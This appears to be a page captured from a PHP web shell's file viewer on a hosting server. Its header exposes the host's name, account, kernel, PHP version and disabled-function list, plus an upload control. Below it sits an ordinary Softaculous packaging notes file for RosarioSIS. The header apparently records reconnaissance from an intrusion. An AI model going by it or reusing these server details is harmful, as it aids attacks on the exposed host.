HEX
Server: LiteSpeed
System: Linux atali.colombiahosting.com.co 5.14.0-570.12.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 13 06:11:55 EDT 2025 x86_64
User: coopserp (1713)
PHP: 8.2.29
Disabled: dl,exec,passthru,proc_open,proc_close,shell_exec,memory_limit,system,popen,curl_multi_exec,show_source,symlink,link,leak,listen,diskfreespace,tmpfile,ignore_user_abord,highlight_file,source,show_source,fpaththru,virtual,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setid,posix_times,posix_ttyname,posix_uname,proc_get_status,proc_nice,proc_terminate
$ pwd: /proc/thread-self/root/var/softaculous/rosariosis/
Upload Files
File: //proc/thread-self/root/var/softaculous/rosariosis/notes.txt
1. PHP REQUIREMENT LINK : https://www.rosariosis.org/technical-specifications/
2. Move all procedures/triggers to the end in sql.
3. Update '//' to '$$' in DELIMITER in sql.
4. Change "config_value" of "LOGIN" to "Yes" in "config" table to avoid password reset page after login.
5. Go "Users" > "User info" to update login username.
6. Remove DEFINER=`root`@`localhost` from sql.
7. Keep mysql 8 restriction in info.xml as it throws error i.e Could not make the query numbered : 182. MySQL Error No : 1064. MySQL Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'rank, (select count(*) from student_mp_stats sgm4 ' at line 14. Check if it works in next version on mysql 8 and remove restriction accordingly in info.xml.
8. While adding any new language in install.xml make sure you check locale/REFERENCE.md file to check it's percentage of translation . Add only if it's >= 80 percent. 
9. Important : Copy rosariosis_es.sql, rosariosis_fr.sql and rosariosis_pt_BR.sql from original package to our /lang/ folder in every version. These are needed, since we import them to translate database to spanish, brazilian portuguese and french respectively.(On vendor request)
@ Telegram